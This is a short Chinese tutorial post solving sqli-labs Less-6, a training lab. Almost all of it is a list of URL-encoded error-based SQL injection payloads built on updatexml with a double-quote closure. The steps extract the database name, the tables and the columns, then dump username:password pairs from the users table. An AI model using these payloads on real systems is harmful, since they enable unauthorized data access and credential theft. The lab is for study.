sql 注入 之sqli-labs/less-6 双注入,双引号报错注入

和第五关类似,只不过闭合符号是双引号

1,查数据库

1"and%20(updatexml(1,concat(0x7e,(select%20database()),0x7e),1))%20--+

2.查表

内容有多行,所以使用limit依次查询

1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1)%20,0x7e),1))%20--+

limit 3,1 查出来users表

?id=1"and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%203,1)%20,0x7e),1))%20--+

查字段名:

?id=1"and%20(updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20)%20,0x7e),1))%20--+

返回超过1 行,使用limit进行处理

limit 4,1 返回username字段

limit 5,1 返回password字段

查询字段内容,返回结果超过一行,使用limit函数

/?id=1"and%20(updatexml(1,concat(0x7e,(select%20username%20from%20users)%20,0x7e),1))%20--+

依次进行查询

id=1"and%20(updatexml(1,concat(0x7e,(select%20concat(username,":",password)%20from%20users%20limit%200,1)%20,0x7e),1))%20--+

相关推荐
web182854825122 小时前
MySQL 篇 - Java 连接 MySQL 数据库并实现数据交互
java·数据库·mysql
mqwguardain3 小时前
Python连接不同数据库的总结
开发语言·数据库·python
林涧泣3 小时前
【Uniapp-Vue3】创建DB schema数据表结构
数据库·uni-app
GIS小小研究僧5 小时前
PostGIS:使用shp2pgsql、pgsql2shp、OGR2OGR函数进行数据导入、导出
数据库·postgresql·postgis
测试界清流5 小时前
自动化测试、压力测试、持续集成
数据库·git
荔枝味啊~5 小时前
杭州某小厂面试
java·网络·数据库·tcp/ip·面试
Gauss松鼠会6 小时前
数据库高安全—审计追踪:传统审计&统一审计
网络·数据库·安全·oracle·gaussdb
egekm_sefg6 小时前
【玩转全栈】----Django模板的继承
数据库·django·sqlite
喝醉酒的小白6 小时前
达梦数据库从单主模式转换为主备模式
数据库